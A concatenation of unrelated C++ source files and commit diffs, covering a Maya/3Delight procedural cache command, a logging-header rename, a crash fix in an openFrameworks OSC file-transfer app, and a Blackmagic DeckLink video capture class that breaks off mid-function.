// IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
// THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
// PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
//////////////////////////////////////////////////////////////////////////
#include "boost/python.hpp"
#include "boost/format.hpp"
#include "maya/MSyntax.h"
#include "maya/MArgParser.h"
#include "maya/MStringArray.h"
#include "maya/MFnDagNode.h"
#include "maya/MSelectionList.h"
#include "IECore/CompoundParameter.h"
#include "IECore/AttributeBlock.h"
#include "IECoreRI/Renderer.h"
#include "IECoreRI/Convert.h"
#include "IECoreMaya/DelightProceduralCacheCommand.h"
#include "IECoreMaya/ProceduralHolder.h"
#include "IECoreMaya/PythonCmd.h"
#include "IECoreMaya/Convert.h"
#include "ri.h"
#define STRINGIFY( ARG ) STRINGIFY2( ARG )
#define STRINGIFY2( ARG ) #ARG
using namespace boost::python;
using namespace IECoreMaya;
DelightProceduralCacheCommand::ProceduralMap DelightProceduralCacheCommand::g_procedurals;
DelightProceduralCacheCommand::DelightProceduralCacheCommand()
{
}
DelightProceduralCacheCommand::~DelightProceduralCacheCommand()
{
}
void *DelightProceduralCacheCommand::creator()
{
return new DelightProceduralCacheCommand;
}
MSyntax DelightProceduralCacheCommand::newSyntax()
{
MSyntax syn;
MStatus s;
s = syn.addFlag( "-a", "-addstep" );
assert(s);
s = syn.addFlag( "-e", "-emit" );
assert(s);
s = syn.addFlag( "-f", "-flush" );
assert(s);
s = syn.addFlag( "-r", "-remove" );
assert(s);
s = syn.addFlag( "-l", "-list" );
assert(s);
s = syn.addFlag( "-st", "-sampleTime", MSyntax::kDouble );
assert(s);
syn.setObjectType( MSyntax::kStringObjects );
return syn;
}
MStatus DelightProceduralCacheCommand::doIt( const MArgList &args )
{
MArgParser parser( syntax(), args );
MStatus s;
if( parser.isFlagSet( "-a" ) )
{
MStringArray objectNames;
s = parser.getObjects( objectNames );
if( !s || objectNames.length()!=1 )
{
displayError( "DelightProceduralCacheCommand::doIt : unable to get object name argument." );
return s;
}
MSelectionList sel;
sel.add( objectNames[0] );
MObject oDepNode;
s = sel.getDependNode( 0, oDepNode );
if( !s )
{
displayError( "DelightProceduralCacheCommand::doIt : unable to get dependency node for \"" + objectNames[0] + "\"." );
return s;
}
MFnDagNode fnDagNode( oDepNode );
IECoreMaya::ProceduralHolder *pHolder = dynamic_cast<IECoreMaya::ProceduralHolder *>( fnDagNode.userNode() );
if( !pHolder )
{
displayError( "DelightProceduralCacheCommand::doIt : \"" + objectNames[0] + "\" is not a procedural holder node." );
return MStatus::kFailure;
}
ProceduralMap::iterator pIt = g_procedurals.find( objectNames[0].asChar() );
if( pIt!=g_procedurals.end() )
{
// we already got the procedural on the first sample, but we should expand the bounding box for this sample
pIt->second.bound.extendBy( IECore::convert<Imath::Box3f>( fnDagNode.boundingBox() ) );
return MStatus::kSuccess;
}
else
{
pHolder->setParameterisedValues();
CachedProcedural cachedProcedural;
cachedProcedural.procedural = pHolder->getProcedural( &cachedProcedural.className, &cachedProcedural.classVersion );
if( !cachedProcedural.procedural )
{
displayError( "DelightProceduralCacheCommand::doIt : failed to get procedural from \"" + objectNames[0] + "\"." );
return MStatus::kFailure;
}
cachedProcedural.bound = IECore::convert<Imath::Box3f>( fnDagNode.boundingBox() );
IECore::ObjectPtr values = cachedProcedural.procedural->parameters()->getValue();
if( !values )
{
displayError( "DelightProceduralCacheCommand::doIt : failed to get parameter values from \"" + objectNames[0] + "\"." );
return MStatus::kFailure;
}
cachedProcedural.values = values->copy();
g_procedurals[objectNames[0].asChar()] = cachedProcedural;
}
return MStatus::kSuccess;
}
else if( parser.isFlagSet( "-l" ) )
{
MStringArray result;
for( ProceduralMap::const_iterator it=g_procedurals.begin(); it!=g_procedurals.end(); it++ )
{
result.append( it->first.c_str() );
}
setResult( result );
return MStatus::kSuccess;
}
else if( parser.isFlagSet( "-e" ) )
{
// get the object name
MStringArray objectNames;
s = parser.getObjects( objectNames );
if( !s || objectNames.length()!=1 )
{
displayError( "DelightProceduralCacheCommand::doIt : unable to get object name argument." );
return s;
}
// get the cached procedural
ProceduralMap::const_iterator it = g_procedurals.find( objectNames[0].asChar() );
if( it==g_procedurals.end() )
{
displayError( "DelightProceduralCacheCommand::doIt : unable to emit \"" + objectNames[0] + "\" as object has not been cached." );
return MS::kFailure;
}
// and output it
try
{
IECore::ObjectPtr currentValues = it->second.procedural->parameters()->getValue();
it->second.procedural->parameters()->setValue( it->second.values );
std::string pythonString;
try
{
// we first get an object referencing the serialise result and then make an extractor for it.
// making the extractor directly from the return of the serialise call seems to result
// in the python object dying before we properly extract the value, which results in corrupted
// strings, and therefore malformed ribs.
object serialisedResultObject = PythonCmd::globalContext()["IECore"].attr("ParameterParser")().attr("serialise")( it->second.procedural->parameters() );
object serialisedResultStringObject = serialisedResultObject.attr( "__str__" )();
extract<std::string> serialisedResultExtractor( serialisedResultStringObject );
std::string serialisedParameters = serialisedResultExtractor();
pythonString = boost::str( boost::format( "IECoreRI.executeProcedural( \"%s\", %d, %s )" ) % it->second.className % it->second.classVersion % serialisedParameters );
}
catch( ... )
{
// Make sure we don't lose the 'current' values if we except.
it->second.procedural->parameters()->setValue( currentValues );
displayError( "DelightProceduralCacheCommand::doIt : could not get parameters from \"" + objectNames[0] + "\"." );
return MStatus::kFailure;
}
// Put the current values back.
it->second.procedural->parameters()->setValue( currentValues );
if( it->second.bound.isEmpty() )
{
displayWarning( "DelightProceduralCacheCommand::doIt : not outputting procedural \"" + objectNames[0] + "\" because it has an empty bounding box." );
return MS::kSuccess;
}
RtBound rtBound;
IECore::convert( it->second.bound, rtBound );
IECore::RendererPtr renderer = new IECoreRI::Renderer();
IECore::AttributeBlock attributeBlock( renderer, 1 );
it->second.procedural->render( renderer.get(), false, true, false, false );
const char **data = (const char **)malloc( sizeof( char * ) * 2 );
data[0] = STRINGIFY( IECORERI_RMANPROCEDURAL_NAME );
data[1] = pythonString.c_str();
RiProcedural( data, rtBound, RiProcDynamicLoad, RiProcFree );
}
catch( error_already_set )
{
PyErr_Print();
displayError( "DelightProceduralCacheCommand::doIt : failed to output procedural for \"" + objectNames[0] + "\"." );
return MStatus::kFailure;
}
catch( ... )
{
displayError( "DelightProceduralCacheCommand::doIt : failed to output procedural for \"" + objectNames[0] + "\"." );
return MStatus::kFailure;
}
return MStatus::kSuccess;
}
else if( parser.isFlagSet( "-r" ) )
{
MStringArray objectNames;
s = parser.getObjects( objectNames );
if( !s || objectNames.length()!=1 )
{
displayError( "DelightProceduralCacheCommand::doIt : unable to get object name argument." );
return s;
}
g_procedurals.erase( objectNames[0].asChar() );
return MStatus::kSuccess;
}
else if( parser.isFlagSet( "-f" ) )
{
g_procedurals.clear();
return MStatus::kSuccess;
}
displayError( "DelightProceduralCacheCommand::doIt : No suitable flag specified." );
return MS::kFailure;
}
<|endoftext|>
|
<commit_before>/*
* Copyright (c) 2005, Peter Sommerlad and IFS Institute for Software at HSR Rapperswil, Switzerland
* All rights reserved.
*
* This library/application is free software; you can redistribute and/or modify it under the terms of
* the license that is included with this library/application in the file license.txt.
*/
//--- interface include --------------------------------------------------------
#include "TransitionDispatchAction.h"
//--- standard modules used ----------------------------------------------------
#include "Renderer.h"
#include "SysLog.h"
#include "Dbg.h"
//--- c-modules used -----------------------------------------------------------
//---- TransitionDispatchAction ---------------------------------------------------------------
RegisterAction(TransitionDispatchAction);
TransitionDispatchAction::TransitionDispatchAction(const char *name) : Action(name) { }
TransitionDispatchAction::~TransitionDispatchAction() { }
bool TransitionDispatchAction::DoExecAction(String &transitionToken, Context &ctx, const ROAnything &config)
{
// this is the new method that also gets a config ( similar to Renderer::RenderAll )
// write the action code here - you don't have to override DoAction anymore
StartTrace(TransitionDispatchAction.DoExecAction);
if ( transitionToken.Length() ) {
ROAnything nextActionConfig = ctx.Lookup(transitionToken);
TraceAny(nextActionConfig, "nextActionConfig");
if ( !nextActionConfig.IsNull() ) {
return Action::ExecAction(transitionToken, ctx, nextActionConfig);
} else {
SYSWARNING("transition config is null, returning false!");
}
} else {
SYSWARNING("transitionToken empty, returning false!");
}
return false;
}
<commit_msg>replaced SysLog.h with SystemLog.h<commit_after>/*
* Copyright (c) 2005, Peter Sommerlad and IFS Institute for Software at HSR Rapperswil, Switzerland
* All rights reserved.
*
* This library/application is free software; you can redistribute and/or modify it under the terms of
* the license that is included with this library/application in the file license.txt.
*/
//--- interface include --------------------------------------------------------
#include "TransitionDispatchAction.h"
//--- standard modules used ----------------------------------------------------
#include "Renderer.h"
#include "SystemLog.h"
#include "Dbg.h"
//--- c-modules used -----------------------------------------------------------
//---- TransitionDispatchAction ---------------------------------------------------------------
RegisterAction(TransitionDispatchAction);
TransitionDispatchAction::TransitionDispatchAction(const char *name) : Action(name) { }
TransitionDispatchAction::~TransitionDispatchAction() { }
bool TransitionDispatchAction::DoExecAction(String &transitionToken, Context &ctx, const ROAnything &config)
{
// this is the new method that also gets a config ( similar to Renderer::RenderAll )
// write the action code here - you don't have to override DoAction anymore
StartTrace(TransitionDispatchAction.DoExecAction);
if ( transitionToken.Length() ) {
ROAnything nextActionConfig = ctx.Lookup(transitionToken);
TraceAny(nextActionConfig, "nextActionConfig");
if ( !nextActionConfig.IsNull() ) {
return Action::ExecAction(transitionToken, ctx, nextActionConfig);
} else {
SYSWARNING("transition config is null, returning false!");
}
} else {
SYSWARNING("transitionToken empty, returning false!");
}
return false;
}
<|endoftext|>
|
<commit_before>#include "ofApp.h"
using namespace std;
//--------------------------------------------------------------
void ofApp::setup(){
ofAddListener(node_.unhandledMessageReceived, this, &ofApp::messageReceived);
node_.setAllowLoopback(true);
node_.setup(9000);
node_.request();
gui_.setup();
}
//--------------------------------------------------------------
void ofApp::update(){
}
//--------------------------------------------------------------
void ofApp::draw(){
gui_.begin();
if(ImGui::Begin("Hosts")) {
const auto &members = node_.getNodes();
for(const auto &member : members) {
const auto &ip = member.first;
const auto &name = member.second.name;
auto &box_info = boxes_[ip];
ImGui::Checkbox(name.c_str(), &box_info.is_open); ImGui::SameLine();
ImGui::Text("(%s)", ip.c_str());
if(box_info.is_open) {
if(ImGui::Begin(name.c_str(), &box_info.is_open)) {
if(ImGui::CollapsingHeader("Received Files")) {
for(auto &info : box_info.recv_files) {
ImGui::PushID(&info);
ImGui::Text("%s", info.second.name.c_str()); ImGui::SameLine();
if(info.second.isCompleted()) {
if(ImGui::Button("save")) {
auto result = ofSystemSaveDialog(info.second.name, "");
if(result.bSuccess) {
ofBufferToFile(result.getPath(), info.second.buffer);
}
}
}
else if(info.second.is_receiving) {
if(ImGui::Button("cancel")) {
info.second.is_receiving = false;
}
else {
ImGui::Text("%llu/%ld", info.second.received_size, info.second.buffer.size());
sendRequest(ip, info.first, info.second.received_size);
}
}
else {
if(ImGui::Button("download")) {
info.second.is_receiving = true;
}
}
ImGui::PopID();
}
}
if(ImGui::CollapsingHeader("Send Files")) {
for(auto &info : box_info.send_files) {
ImGui::Text("%s", info.second.file.path().c_str());
}
}
if(ImGui::IsWindowHovered()) {
if(!drag_files_.empty()) {
for(auto &path : drag_files_) {
ofFile file(path);
if(file.isFile()) {
notifyFileIsReady(ip, path);
}
}
}
}
}
ImGui::End();
}
}
}
ImGui::End();
gui_.end();
drag_files_.clear();
}
namespace {
uint32_t crc_table[256];
bool crc_table_created=false;
void createCRC32Table() {
for (uint32_t i = 0; i < 256; i++) {
uint32_t c = i;
for (int j = 0; j < 8; j++) {
c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1);
}
crc_table[i] = c;
}
crc_table_created = true;
};
uint32_t crc32(const char *buf, size_t len) {
if(!crc_table_created) { createCRC32Table(); }
uint32_t c = 0xFFFFFFFF;
for (size_t i = 0; i < len; i++) {
c = crc_table[(c ^ buf[i]) & 0xFF] ^ (c >> 8);
}
return c ^ 0xFFFFFFFF;
};
uint32_t crc32(const std::string &str) {
return crc32(str.c_str(), str.length());
}
}
void ofApp::notifyFileIsReady(const std::string &ip, const std::string &filepath)
{
SendFile info(ip, filepath);
if(!info.file.exists()) {
return;
}
auto it = boxes_.find(ip);
if(it == end(boxes_)) { return; }
auto &send_files = it->second.send_files;
uint32_t hash = crc32(ip+filepath);
send_files.insert(std::make_pair(hash, info));
ofxOscMessage msg;
msg.setAddress("/file/info");
msg.addInt32Arg(hash);
msg.addInt64Arg(info.file.getSize());
msg.addStringArg(ofFilePath::getFileName(filepath));
node_.sendMessage(ip, msg);
}
void ofApp::sendRequest(const std::string &ip, unsigned int identifier, uint64_t position)
{
ofxOscMessage msg;
msg.setAddress("/file/request");
msg.addInt32Arg(identifier);
msg.addInt64Arg(position);
msg.addInt64Arg(RECV_MAXSIZE);
node_.sendMessage(ip, msg);
}
void ofApp::messageReceived(ofxOscMessage &msg)
{
const std::string &address = msg.getAddress();
if(address == "/file/info") {
const std::string &ip = msg.getRemoteIp();
auto &box = boxes_[ip];
RecvFile file(msg.getArgAsString(2), msg.getArgAsInt64(1));
auto identifier = msg.getArgAsInt32(0);
box.recv_files.insert(std::make_pair(identifier, file));
}
else if(address == "/file/request"){
std::string ip = msg.getRemoteIp();
auto it = boxes_.find(ip);
if(it == end(boxes_)) { return; }
auto &send_files = it->second.send_files;
uint32_t identifier = msg.getArgAsInt32(0);
auto it2 = send_files.find(identifier);
if(it2 == end(send_files)) {
return;
}
auto &info = it2->second;
uint64_t position = msg.getArgAsInt64(1);
uint64_t maxsize = min<uint64_t>(msg.getArgAsInt64(2), SEND_MAXSIZE);
uint64_t size = min<uint64_t>(maxsize, info.file.getSize()-position);
ofBuffer buffer;
info.file.seekg(position, ios_base::beg);
buffer.allocate(size);
info.file.read(buffer.getData(), buffer.size());
ofxOscMessage msg;
msg.setAddress("/file/data");
msg.addInt32Arg(identifier);
msg.addInt64Arg(position);
msg.addBlobArg(buffer);
node_.sendMessage(info.destination, msg);
}
else if(address == "/file/data") {
std::string ip = msg.getRemoteIp();
uint32_t identifier = msg.getArgAsInt32(0);
uint64_t position = msg.getArgAsInt64(1);
const ofBuffer &data = msg.getArgAsBlob(2);
auto it = boxes_.find(ip);
if(it == end(boxes_)) { return; }
auto it2 = it->second.recv_files.find(identifier);
if(it2 == end(it->second.recv_files)) { return; }
auto &info = it2->second;
if(!info.is_receiving) { return; }
if(info.isCompleted()) { return; }
auto *ptr = info.buffer.getData();
auto size = data.size();
assert(position+size <= info.buffer.size());
memcpy(ptr+position, data.getData(), size);
info.received_size += size;
}
}
//--------------------------------------------------------------
void ofApp::keyPressed(int key){
}
//--------------------------------------------------------------
void ofApp::keyReleased(int key){
}
//--------------------------------------------------------------
void ofApp::mouseMoved(int x, int y ){
}
//--------------------------------------------------------------
void ofApp::mouseDragged(int x, int y, int button){
}
//--------------------------------------------------------------
void ofApp::mousePressed(int x, int y, int button){
}
//--------------------------------------------------------------
void ofApp::mouseReleased(int x, int y, int button){
}
//--------------------------------------------------------------
void ofApp::mouseEntered(int x, int y){
}
//--------------------------------------------------------------
void ofApp::mouseExited(int x, int y){
}
//--------------------------------------------------------------
void ofApp::windowResized(int w, int h){
}
//--------------------------------------------------------------
void ofApp::gotMessage(ofMessage msg){
}
//--------------------------------------------------------------
void ofApp::dragEvent(ofDragInfo dragInfo){
drag_files_ = dragInfo.files;
}
<commit_msg>fix possible crash<commit_after>#include "ofApp.h"
using namespace std;
//--------------------------------------------------------------
void ofApp::setup(){
ofAddListener(node_.unhandledMessageReceived, this, &ofApp::messageReceived);
node_.setAllowLoopback(true);
node_.setup(9000);
node_.request();
gui_.setup();
}
//--------------------------------------------------------------
void ofApp::update(){
}
//--------------------------------------------------------------
void ofApp::draw(){
gui_.begin();
if(ImGui::Begin("Hosts")) {
const auto &members = node_.getNodes();
for(const auto &member : members) {
const auto &ip = member.first;
const auto &name = member.second.name;
auto &box_info = boxes_[ip];
ImGui::Checkbox(name.c_str(), &box_info.is_open); ImGui::SameLine();
ImGui::Text("(%s)", ip.c_str());
if(box_info.is_open) {
if(ImGui::Begin(name.c_str(), &box_info.is_open)) {
if(ImGui::CollapsingHeader("Received Files")) {
for(auto &info : box_info.recv_files) {
ImGui::PushID(&info);
ImGui::Text("%s", info.second.name.c_str()); ImGui::SameLine();
if(info.second.isCompleted()) {
if(ImGui::Button("save")) {
auto result = ofSystemSaveDialog(info.second.name, "");
if(result.bSuccess) {
ofBufferToFile(result.getPath(), info.second.buffer);
}
}
}
else if(info.second.is_receiving) {
if(ImGui::Button("cancel")) {
info.second.is_receiving = false;
}
else {
ImGui::Text("%llu/%ld", info.second.received_size, info.second.buffer.size());
sendRequest(ip, info.first, info.second.received_size);
}
}
else {
if(ImGui::Button("download")) {
info.second.is_receiving = true;
}
}
ImGui::PopID();
}
}
if(ImGui::CollapsingHeader("Send Files")) {
for(auto &info : box_info.send_files) {
ImGui::Text("%s", info.second.file.path().c_str());
}
}
if(ImGui::IsWindowHovered()) {
if(!drag_files_.empty()) {
for(auto &path : drag_files_) {
ofFile file(path);
if(file.isFile()) {
notifyFileIsReady(ip, path);
}
}
}
}
}
ImGui::End();
}
}
}
ImGui::End();
gui_.end();
drag_files_.clear();
}
namespace {
uint32_t crc_table[256];
bool crc_table_created=false;
void createCRC32Table() {
for (uint32_t i = 0; i < 256; i++) {
uint32_t c = i;
for (int j = 0; j < 8; j++) {
c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1);
}
crc_table[i] = c;
}
crc_table_created = true;
};
uint32_t crc32(const char *buf, size_t len) {
if(!crc_table_created) { createCRC32Table(); }
uint32_t c = 0xFFFFFFFF;
for (size_t i = 0; i < len; i++) {
c = crc_table[(c ^ buf[i]) & 0xFF] ^ (c >> 8);
}
return c ^ 0xFFFFFFFF;
};
uint32_t crc32(const std::string &str) {
return crc32(str.c_str(), str.length());
}
}
void ofApp::notifyFileIsReady(const std::string &ip, const std::string &filepath)
{
SendFile info(ip, filepath);
if(!info.file.exists()) {
return;
}
auto it = boxes_.find(ip);
if(it == end(boxes_)) { return; }
auto &send_files = it->second.send_files;
uint32_t hash = crc32(ip+filepath);
send_files.insert(std::make_pair(hash, info));
ofxOscMessage msg;
msg.setAddress("/file/info");
msg.addInt32Arg(hash);
msg.addInt64Arg(info.file.getSize());
msg.addStringArg(ofFilePath::getFileName(filepath));
node_.sendMessage(ip, msg);
}
void ofApp::sendRequest(const std::string &ip, unsigned int identifier, uint64_t position)
{
ofxOscMessage msg;
msg.setAddress("/file/request");
msg.addInt32Arg(identifier);
msg.addInt64Arg(position);
msg.addInt64Arg(RECV_MAXSIZE);
node_.sendMessage(ip, msg);
}
void ofApp::messageReceived(ofxOscMessage &msg)
{
const std::string &address = msg.getAddress();
if(address == "/file/info") {
const std::string &ip = msg.getRemoteIp();
auto &box = boxes_[ip];
RecvFile file(msg.getArgAsString(2), msg.getArgAsInt64(1));
auto identifier = msg.getArgAsInt32(0);
box.recv_files.insert(std::make_pair(identifier, file));
}
else if(address == "/file/request"){
std::string ip = msg.getRemoteIp();
auto it = boxes_.find(ip);
if(it == end(boxes_)) { return; }
auto &send_files = it->second.send_files;
uint32_t identifier = msg.getArgAsInt32(0);
auto it2 = send_files.find(identifier);
if(it2 == end(send_files)) {
return;
}
auto &info = it2->second;
uint64_t position = msg.getArgAsInt64(1);
uint64_t maxsize = min<uint64_t>(msg.getArgAsInt64(2), SEND_MAXSIZE);
uint64_t size = min<uint64_t>(maxsize, info.file.getSize()-position);
ofBuffer buffer;
info.file.seekg(position, ios_base::beg);
buffer.allocate(size);
info.file.read(buffer.getData(), buffer.size());
ofxOscMessage msg;
msg.setAddress("/file/data");
msg.addInt32Arg(identifier);
msg.addInt64Arg(position);
msg.addBlobArg(buffer);
node_.sendMessage(info.destination, msg);
}
else if(address == "/file/data") {
std::string ip = msg.getRemoteIp();
uint32_t identifier = msg.getArgAsInt32(0);
uint64_t position = msg.getArgAsInt64(1);
const ofBuffer &data = msg.getArgAsBlob(2);
auto it = boxes_.find(ip);
if(it == end(boxes_)) { return; }
auto it2 = it->second.recv_files.find(identifier);
if(it2 == end(it->second.recv_files)) { return; }
auto &info = it2->second;
if(!info.is_receiving) { return; }
if(info.isCompleted()) { return; }
auto *ptr = info.buffer.getData();
auto size = data.size();
assert(position+size <= info.buffer.size());
memcpy(ptr+position, data.getData(), size);
info.received_size = position+size;
}
}
//--------------------------------------------------------------
void ofApp::keyPressed(int key){
}
//--------------------------------------------------------------
void ofApp::keyReleased(int key){
}
//--------------------------------------------------------------
void ofApp::mouseMoved(int x, int y ){
}
//--------------------------------------------------------------
void ofApp::mouseDragged(int x, int y, int button){
}
//--------------------------------------------------------------
void ofApp::mousePressed(int x, int y, int button){
}
//--------------------------------------------------------------
void ofApp::mouseReleased(int x, int y, int button){
}
//--------------------------------------------------------------
void ofApp::mouseEntered(int x, int y){
}
//--------------------------------------------------------------
void ofApp::mouseExited(int x, int y){
}
//--------------------------------------------------------------
void ofApp::windowResized(int w, int h){
}
//--------------------------------------------------------------
void ofApp::gotMessage(ofMessage msg){
}
//--------------------------------------------------------------
void ofApp::dragEvent(ofDragInfo dragInfo){
drag_files_ = dragInfo.files;
}
<|endoftext|>
|
<commit_before>#include "blackmagicsdk_video_source.h"
#include "deck_link_display_mode_detector.h"
#include <chrono>
namespace gg
{
VideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK()
: IVideoSource()
, _frame_rate(0.0)
, _video_buffer(nullptr)
, _video_buffer_length(0)
, _cols(0)
, _rows(0)
, _buffer_video_frame(VideoFrame(UYVY))
, _running(false)
{
// nop
}
VideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK(size_t deck_link_index,
ColourSpace colour)
: IVideoSource(colour)
, _frame_rate(0.0)
, _video_buffer(nullptr)
, _video_buffer_length(0)
, _cols(0)
, _rows(0)
, _buffer_video_frame(VideoFrame(colour, false)) // TODO manage data?
, _deck_link(nullptr)
, _deck_link_input(nullptr)
, _video_input_flags(bmdVideoInputFlagDefault | bmdVideoInputDualStream3D)
, _12_bit_rgb_to_bgra_converter(nullptr)
, _bgra_frame_buffers({nullptr, nullptr})
, _running(false)
{
// Pixel format, i.e. colour space
BMDPixelFormat pixel_format;
switch(_colour)
{
case UYVY:
pixel_format = bmdFormat8BitYUV;
break;
case BGRA:
pixel_format = bmdFormat8BitBGRA;
break;
case I420:
default:
bail("BlackmagicSDK video source supports only UYVY and BGRA colour spaces");
}
// Get an iterator through the available DeckLink ports
IDeckLinkIterator * deck_link_iterator = CreateDeckLinkIteratorInstance();
if (deck_link_iterator == nullptr)
bail("DeckLink drivers do not appear to be installed");
HRESULT res;
// Get the desired DeckLink index (port)
int idx = deck_link_index;
while ((res = deck_link_iterator->Next(&_deck_link)) == S_OK)
{
if (idx == 0)
break;
--idx;
_deck_link->Release();
}
if (deck_link_iterator != nullptr)
deck_link_iterator->Release();
// No glory: release everything and throw exception
if (res != S_OK or _deck_link == nullptr)
bail(
std::string("Could not get DeckLink device ").append(std::to_string(deck_link_index))
);
// Get the input interface of connected DeckLink port
res = _deck_link->QueryInterface(IID_IDeckLinkInput, reinterpret_cast<void **>(&_deck_link_input));
// No glory: release everything and throw exception
if (res != S_OK)
bail("Could not get the Blackmagic DeckLink input interface");
// Set the input format (i.e. display mode)
BMDDisplayMode display_mode;
std::string error_msg = "";
if (not detect_input_format(pixel_format, _video_input_flags, display_mode, _frame_rate, error_msg))
{
_video_input_flags ^= bmdVideoInputDualStream3D;
if (not detect_input_format(pixel_format, _video_input_flags, display_mode, _frame_rate, error_msg))
bail(error_msg);
}
// Set this object (IDeckLinkInputCallback instance) as callback
res = _deck_link_input->SetCallback(this);
// No glory: release everything and throw exception
if (res != S_OK)
bail("Could not set the callback of Blackmagic DeckLink device");
// Enable video input
res = _deck_link_input->EnableVideoInput(display_mode,
pixel_format,
_video_input_flags);
// No glory
if (res != S_OK)
bail("Could not enable video input of Blackmagic DeckLink device");
// Colour converter for post-capture colour conversion
if (_colour == BGRA)
{
_12_bit_rgb_to_bgra_converter = CreateVideoConversionInstance();
if (_12_bit_rgb_to_bgra_converter == nullptr)
bail("Could not create colour converter for Blackmagic source");
}
// Start streaming
_running = true;
res = _deck_link_input->StartStreams();
// No glory: release everything and throw exception
if (res != S_OK)
{
_running = false;
bail("Could not start streaming from the Blackmagic DeckLink device");
}
}
VideoSourceBlackmagicSDK::~VideoSourceBlackmagicSDK()
{
{ // Artificial scope for data lock
// Make sure streamer thread not trying to access buffer
std::lock_guard<std::mutex> data_lock_guard(_data_lock);
_running = false;
}
// Stop streaming and disable enabled inputs
_deck_link_input->SetCallback(nullptr);
_deck_link_input->StopStreams();
_deck_link_input->DisableVideoInput();
// Release DeckLink members
release_deck_link();
}
bool VideoSourceBlackmagicSDK::get_frame_dimensions(int & width, int & height)
{
// Make sure only this thread is accessing the cols and rows members now
std::lock_guard<std::mutex> data_lock_guard(_data_lock);
if (_cols <= 0 or _rows <= 0)
return false;
width = _cols;
height = _rows;
return true;
}
bool VideoSourceBlackmagicSDK::get_frame(VideoFrame & frame)
{
if (frame.colour() != _colour)
return false;
// Make sure only this thread is accessing the video frame data now
std::lock_guard<std::mutex> data_lock_guard(_data_lock);
if (_video_buffer_length > 0 and _cols > 0 and _rows > 0)
{
frame.init_from_specs(_video_buffer, _video_buffer_length, _cols, _rows);
return true;
}
else
return false;
}
double VideoSourceBlackmagicSDK::get_frame_rate()
{
return _frame_rate;
}
void VideoSourceBlackmagicSDK::set_sub_frame(int x, int y, int width, int height)
{
// issue #147
throw VideoSourceError("Blackmagic does not support cropping yet");
}
void VideoSourceBlackmagicSDK::get_full_frame()
{
// nop: set_sub_frame currently not implemented
}
HRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::QueryInterface(REFIID iid, LPVOID * ppv)
{
return E_NOINTERFACE;
}
ULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::AddRef(void)
{
__sync_add_and_fetch(&_n_ref, 1);
return _n_ref;
}
ULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::Release(void)
{
__sync_sub_and_fetch(&_n_ref, 1);
return _n_ref;
}
HRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFormatChanged(
BMDVideoInputFormatChangedEvents events,
IDeckLinkDisplayMode * display_mode,
BMDDetectedVideoInputFormatFlags format_flags
)
{
// not supported yet: see issue #149
return S_OK;
}
HRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFrameArrived(
IDeckLinkVideoInputFrame * video_frame,
IDeckLinkAudioInputPacket * audio_packet
)
{
if (not _running)
// nop if not running!
return S_OK;
// Not processing the audio packet, but only the video
// frame for the time being
if (video_frame == nullptr)
// nop if no data
return S_OK;
// Nr. of bytes of received data
size_t n_bytes = video_frame->GetRowBytes() * video_frame->GetHeight();
if (is_stereo())
n_bytes *= 2;
{ // Artificial scope for data lock
// Make sure only this thread is accessing the buffer now
std::lock_guard<std::mutex> data_lock_guard(_data_lock);
// Extend buffer if more memory needed than already allocated
if (n_bytes > _video_buffer_length)
_video_buffer = reinterpret_cast<uint8_t *>(
realloc(_video_buffer, n_bytes * sizeof(uint8_t))
);
if (_video_buffer == nullptr) // something's terribly wrong!
// nop if something's terribly wrong!
return S_OK;
// Get the new data into the buffer
HRESULT res = video_frame->GetBytes(
reinterpret_cast<void **>(&_video_buffer)
);
// If data could not be read into the buffer, return
if (FAILED(res))
return res;
if (is_stereo())
{
IDeckLinkVideoFrame *right_eye_frame = nullptr;
IDeckLinkVideoFrame3DExtensions *three_d_extensions = nullptr;
if ((video_frame->QueryInterface(
IID_IDeckLinkVideoFrame3DExtensions,
(void **) &three_d_extensions) != S_OK) ||
(three_d_extensions->GetFrameForRightEye(
&right_eye_frame) != S_OK))
{
right_eye_frame = nullptr;
}
if (three_d_extensions != nullptr)
three_d_extensions->Release();
if (right_eye_frame != nullptr)
{
res = right_eye_frame->GetBytes(
reinterpret_cast<void **>(&_video_buffer[n_bytes / 2])
);
right_eye_frame->Release();
// If data could not be read into the buffer, return
if (FAILED(res))
return res;
}
}
// Set video frame specs according to new data
_video_buffer_length = n_bytes;
_cols = video_frame->GetWidth();
_rows = video_frame->GetHeight();
// Propagate new video frame to observers
_buffer_video_frame.init_from_specs(
_video_buffer, _video_buffer_length, _cols, _rows,
is_stereo() ? 2 : 1
);
}
this->notify(_buffer_video_frame);
// Everything went fine, return success
return S_OK;
}
void VideoSourceBlackmagicSDK::release_deck_link() noexcept
{
if (_deck_link_input != nullptr)
{
_deck_link_input->Release();
_deck_link_input = nullptr;
}
if (_deck_link != nullptr)
_deck_link->Release();
if (_12_bit_rgb_to_bgra_converter != nullptr)
{
_12_bit_rgb_to_bgra_converter->Release();
_12_bit_rgb_to_bgra_converter = nullptr;
}
}
bool VideoSourceBlackmagicSDK::detect_input_format(BMDPixelFormat pixel_format,
BMDVideoInputFlags & video_input_flags,
BMDDisplayMode & display_mode,
double & frame_rate,
std::string & error_msg) noexcept
{
